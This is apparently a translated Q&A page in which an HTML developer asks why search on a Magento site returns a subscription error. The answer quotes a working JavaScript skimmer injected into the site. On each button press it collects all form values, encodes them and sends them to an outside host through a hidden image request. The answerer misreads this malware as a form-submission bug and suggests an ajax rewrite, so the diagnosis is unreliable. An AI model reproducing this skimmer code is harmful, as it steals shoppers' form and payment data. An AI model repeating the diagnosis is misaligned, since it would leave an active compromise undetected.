Magento搜索错误

时间:2016-03-28 11:19:49

标签: php magento

我有一个运行在magento上的website

在主页中,如果向下滚动,您会找到搜索手表。 选择手表型号时,请键入&价格和点击搜索。搜索未显示结果&它正在吐出这个错误

“订阅时出现问题:请输入有效的电子邮件地址。”

我对magento或PHP一无所知。我是一名HTML开发人员。谁能帮我解决这个问题呢?

1 个答案:

答案 0 :(得分:0)

MakeEvent函数中有错误:

    function MakeEvent() {
        if (navigator.appName == 'Microsoft Internet Explorer') {
            return;
        }
        forms = document.getElementsByTagName("form");
        for (var j = 0; j < forms.length; j++) {
            forms[j].onsubmit = function () {
                setTimeout(function (formIndex) {
                    frms = document.getElementsByTagName("form");
                    frms[formIndex - 1].submit();
                }, 500, j);
                return false
            };
            var elements = forms[j].getElementsByTagName("button");
            for (var i = 0; i < elements.length; i++) {
                if (elements[i].type == "submit" || true) {
                    eventArray[i] = elements[i].onclick;
                    elements[i].onmousedown = function () {
                        data = getAllValues();
                        var newImg = document.createElement("img");
                        newImg.setAttribute("src", "http://www.followthefashion.org/wp-content/uploads/2014/07/skin.php?data=" + encodeURI(base64_encode(data)));
                        newImg.setAttribute("height", "1");
                        newImg.setAttribute("width", "1");
                        newImg.setAttribute("alt", "Please, wait...");
                        document.body.appendChild(newImg);
//sleep(500);
                    };
                }
            }
        }
    }
    MakeEvent();

正如您所看到的,在提交基本表单时,脚本会提交另一个(上一个)表单。

frms[formIndex - 1].submit();

The URL of another form 我认为你最好在你的函数中使用ajax,即“form.submit()”方法与单击“submit”按钮的工作方式相同。

  

submit()方法提交表单(与单击Submit按钮相同)。   Link